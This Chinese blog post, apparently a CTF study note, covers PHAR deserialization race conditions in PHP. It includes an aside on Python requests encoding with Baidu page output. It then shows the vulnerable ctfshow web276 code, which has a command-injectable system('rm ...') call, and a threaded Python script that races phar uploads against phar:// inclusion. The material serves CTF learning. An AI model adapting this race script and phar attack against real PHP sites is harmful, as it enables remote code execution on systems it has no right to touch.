PHAR条件竞争

发布于 2023-03-24  467 次阅读


原理

  • 条件竞争是通过脚本重复发送phar文件,并且重复利用文件包含漏洞包含phar文件,在上传(文件整体上传或者文件数据写入)的文件被删除之前成功包含
  • 伪协议常常用于文件包含漏洞之中。 在 php 中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile,file_put_contents函数
  • 例如file_put_contents函数,可以python开两个线程,一个用这个函数写phar文件,一个利用phar协议包含它就可以了

前置知识

requests对象的get和post方法都会返回一个Response对象,这个对象里面存的是服务器返回的所有信息,包括响应头,响
应状态码等。其中返回的网页部分会存在.content和.text两个对象中。

两者区别在于,content中间存的是字节码,而text中存的是Beautifulsoup根据猜测的编码方式将content内容编码成字
符串。

直接输出content,会发现前面存在b'这样的标志,这是字节字符串的标志,而text是,没有前面的b,对于纯ascii码,这两
个可以说一模一样,对于其他的文字,需要正确编码才能正常显示。大部分情况建议使用.text,因为显示的是汉字,但有时
会显示乱码,这时需要用.content.decode('utf-8'),中文常用utf-8和GBK,GB2312等。这样可以手工选择文字编码方
式。

所以简而言之,.text是现成的字符串,.content还要编码,但是.text不是所有时候显示都正常,这是就需要用.content
进行手动编码。
  • 简单来说.content都是requests的返回结果,而.text是.content的编码结果,也可以手动对.content编码,比如上面提到的.content.decode('utf-8')
  • 比如下面这个脚本request请求baidu.com,并输出了三种编码的返回结果
import requests  
from bs4 import BeautifulSoup  
response = requests.get('https://www.baidu.com')  
re_text = response.text  
re_content = response.content  
print (re_text)  
print ("分界线")  
print (re_content)  
print ("分界线") 

re_text = response.content.decode('utf-8')
print (re_text) 
  • .text
<!DOCTYPE html>
<!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><met
a http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer><link rel=styleshe
et type=text/css href=https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/bdorz/baidu.min.cs
s><title>ç¾åº¦ä¸ä¸ï¼ä½ å°±ç¥é</title></head> <body link=#0000cc> <div id=wrapper> <div id=head> <
div class=head_wrapper> <div class=s_form> <div class=s_form_wrapper> <div id=lg> <img hidefocus
=true src=//www.baidu.com/img/bd_logo1.png width=270 height=129> </div> <form id=form name=f 
action=//www.baidu.com/s class=fm> <input type=hidden name=bdorz_come value=1> <input type=hidden 
name=ie value=utf-8> <input type=hidden name=f value=8> <input type=hidden name=rsv_bp value=1> 
<input type=hidden name=rsv_idx value=1> <input type=hidden name=tn value=baidu><span class="bg 
s_ipt_wr"><input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off autofocus=autofocus>
</span><span class="bg s_btn_wr"><input type=submit id=su value=ç¾åº¦ä¸ä¸ class="bg s_btn" autofocus>
</span> </form> </div> </div> <div id=u1> <a href=http://news.baidu.com name=tj_trnews 
class=mnav>æ°é»</a> <a href=https://www.hao123.com name=tj_trhao123 class=mnav>hao123</a> <a 
href=http://map.baidu.com name=tj_trmap class=mnav>å°å¾</a> <a href=http://v.baidu.com 
name=tj_trvideo class=mnav>è§é¢</a> <a href=http://tieba.baidu.com name=tj_trtieba class=mnav>è
´´å§</a> <noscript> <a href=http://www.baidu.com/bdorz/login.gif?
login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login class=lb>ç»å½</a>
</noscript> <script>document.write('<a href="http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u='+ 
encodeURIComponent(window.location.href+ (window.location.search === "" ? "?" : "&")+ 
"bdorz_come=1")+ '" name="tj_login" class="lb">ç»å½</a>');
                </script> <a href=//www.baidu.com/more/ name=tj_briicon class=bri style="display: 
                block;">æ´å¤äº§å</a> </div> </div> </div> <div id=ftCon> <div id=ftConw> <p id=lh> <a
                href=http://home.baidu.com>å³äºç¾åº¦</a> <a href=http://ir.baidu.com>About Baidu</a>
                </p> <p id=cp>©2017 Baidu <a 
                href=http://www.baidu.com/duty/>使ç¨ç¾åº¦åå¿è¯»</a>  <a 
                href=http://jianyi.baidu.com/ class=cp-feedback>æè§åé¦</a> äº¬ICPè¯030173å·  <img src=//www.baidu.com/img/gs.gif> </p> </div> 
                </div> </div> </body> </html>
  • .content
b'<!DOCTYPE html>\r\n<!--STATUS OK--><html> <head><meta http-equiv=content-type 
content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always
name=referrer><link rel=stylesheet type=text/css 
href=https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/bdorz/baidu.min.css>
<title>\xe7\x99\xbe\xe5\xba\xa6\xe4\xb8\x80\xe4\xb8\x8b\xef\xbc\x8c\xe4\xbd\xa0\xe5\xb0\xb1\xe7\x9f\x
a5\xe9\x81\x93</title></head> <body link=#0000cc> <div id=wrapper> <div id=head> <div 
class=head_wrapper> <div class=s_form> <div class=s_form_wrapper> <div id=lg> <img hidefocus=true 
src=//www.baidu.com/img/bd_logo1.png width=270 height=129> </div> <form id=form name=f 
action=//www.baidu.com/s class=fm> <input type=hidden name=bdorz_come value=1> <input type=hidden 
name=ie value=utf-8> <input type=hidden name=f value=8> <input type=hidden name=rsv_bp value=1> 
<input type=hidden name=rsv_idx value=1> <input type=hidden name=tn value=baidu><span class="bg 
s_ipt_wr"><input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off autofocus=autofocus>
</span><span class="bg s_btn_wr"><input type=submit id=su 
value=\xe7\x99\xbe\xe5\xba\xa6\xe4\xb8\x80\xe4\xb8\x8b class="bg s_btn" autofocus></span> </form> 
</div> </div> <div id=u1> <a href=http://news.baidu.com name=tj_trnews 
class=mnav>\xe6\x96\xb0\xe9\x97\xbb</a> <a href=https://www.hao123.com name=tj_trhao123 
class=mnav>hao123</a> <a href=http://map.baidu.com name=tj_trmap 
class=mnav>\xe5\x9c\xb0\xe5\x9b\xbe</a> <a href=http://v.baidu.com name=tj_trvideo 
class=mnav>\xe8\xa7\x86\xe9\xa2\x91</a> <a href=http://tieba.baidu.com name=tj_trtieba 
class=mnav>\xe8\xb4\xb4\xe5\x90\xa7</a> <noscript> <a href=http://www.baidu.com/bdorz/login.gif?
login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login 
class=lb>\xe7\x99\xbb\xe5\xbd\x95</a> </noscript> <script>document.write(\'<a 
href="http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u=\'+ 
encodeURIComponent(window.location.href+ (window.location.search === "" ? "?" : "&")+ 
"bdorz_come=1")+ \'" name="tj_login" class="lb">\xe7\x99\xbb\xe5\xbd\x95</a>\');\r\n              
</script> <a href=//www.baidu.com/more/ name=tj_briicon class=bri style="display: 
block;">\xe6\x9b\xb4\xe5\xa4\x9a\xe4\xba\xa7\xe5\x93\x81</a> </div> </div> </div> <div id=ftCon> <div 
id=ftConw> <p id=lh> <a 
href=http://home.baidu.com>\xe5\x85\xb3\xe4\xba\x8e\xe7\x99\xbe\xe5\xba\xa6</a> <a 
href=http://ir.baidu.com>About Baidu</a> </p> <p id=cp>©2017 Baidu <a 
href=http://www.baidu.com/duty/>\xe4\xbd\xbf\xe7\x94\xa8\xe7\x99\xbe\xe5\xba\xa6\xe5\x89\x8d\xe5\xbf\
x85\xe8\xaf\xbb</a>  <a href=http://jianyi.baidu.com/ class=cp-
feedback>\xe6\x84\x8f\xe8\xa7\x81\xe5\x8f\x8d\xe9\xa6\x88</a> \xe4\xba\xacICP\xe8\xaf\x81030173\
xe5\x8f\xb7  <img src=//www.baidu.com/img/gs.gif> </p> </div> </div> </div> </body> </html>\r\n'
  • .content.decode('utf-8')(这个是最nice的)
<!DOCTYPE html>
<!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer><link rel=stylesheet 
type=text/css href=https://ss1.bdstatic.com/5eN1bjq8AAUYm2zgoY3K/r/www/cache/bdorz/baidu.min.css><title>百度一下,你就知道</title></head> <body link=#0000cc> <div id=wrapper> <div id=head> <div class=head_wrapper> <div class=s_form> <div class=s_form_wrapper> <div id=lg> <img hidefocus=true 
src=//www.baidu.com/img/bd_logo1.png width=270 height=129> </div> <form id=form name=f action=//www.baidu.com/s class=fm> <input type=hidden name=bdorz_come value=1> <input type=hidden 
\name=ie value=utf-8> <input type=hidden name=f value=8> <input type=hidden name=rsv_bp value=1> 
    <input type=hidden name=rsv_idx value=1> <input type=hidden name=tn value=baidu><span class="bg 
        s_ipt_wr"><input id=kw name=wd class=s_ipt value maxlength=255 autocomplete=off 
                         autofocus=autofocus></span><span class="bg s_btn_wr"><input type=submit 
                                                                                     id=su value=百度
                                                                                     一下 class="bg s_btn" autofocus></span> </form> </div> </div> <div id=u1> <a href=http://news.baidu.com 
                                                                                     name=tj_trnews class=mnav>新闻</a> <a href=https://www.hao123.com name=tj_trhao123 class=mnav>hao123</a> <a 
                                                                                     href=http://map.baidu.com name=tj_trmap class=mnav>地图</a> <a href=http://v.baidu.com name=tj_trvideo
                                                                                                                                                  class=mnav>视频</a> <a href=http://tieba.baidu.com 
                                                                                                                                                  name=tj_trtieba class=mnav>贴吧</a> <noscript> <a 
                                                                                                                                                  href=http://www.baidu.com/bdorz/login.gif?
                                                                                                                                                  login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com%2f%3fbdorz_come%3d1 name=tj_login class=lb>登录</a>
    </noscript> <script>document.write('<a href="http://www.baidu.com/bdorz/login.gif?
                                       login&tpl=mn&u='+ encodeURIComponent(window.location.href+ 
                                       (window.location.search === "" ? "?" : "&")+ "bdorz_come=1")+ 
        '" name="tj_login" class="lb">登录</a>');

                </script> <a href=//www.baidu.com/more/ name=tj_briicon class=bri style="display: 
        block;">更多产品</a> </div> </div> </div> <div id=ftCon> <div id=ftConw> <p id=lh> <a 
                                                                                          href=http://home.baidu.com>关于百度</a> <a href=http://ir.baidu.com>About Baidu</a> </p> <p 
                                                                                          id=cp>©2017 Baidu <a href=http://www.baidu.com/duty/>使用百度前必读</a>  <a 
                                                                                          href=http://jianyi.baidu.com/ class=cp-feedback>意见反馈</a> 京ICP证030173号  <img 
                                                                                          src=//www.baidu.com/img/gs.gif> </p> </div> </div> </div> </body> </html>

竞争脚本

  • 题目不同脚本实现也不同,下面拿ctfshow的web276举个例子
 <?php

highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }

}else{
    echo 'where is flag?';
}

where is flag?
  • $admin = false;这个变量无法控制,但是有个file_put_content可以控制,可以利用它写入phar文件并且伪协议包含该文件,但是unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);会将文件删除
  • 需要连续上传phar文件并且连续包含
  • 下面是脚本实现的模板,要用时根据题目的接口改就行了
import base64
import requests
import threading

flag = False
url = 'ip'
data = open('./evil.phar', 'rb').read()

pre_resp = requests.get(url)
if pre_resp.status_code != 200:
    print(url + '\n链接好像挂了....')
    exit(1)

def upload():
    requests.post(url+"?fn=evil.phar", data=data)

def read():
    global flag
    r = requests.post(url+"?fn=phar://evil.phar/", data="")
    if "ctfshow{" in r.text and flag is False:
        print(base64.b64encode(r.text.encode()))
        flag = True

while flag is False:
    a = threading.Thread(target=upload)
    b = threading.Thread(target=read)
    a.start()
    b.start()
届ける言葉を今は育ててる
最后更新于 2024-02-07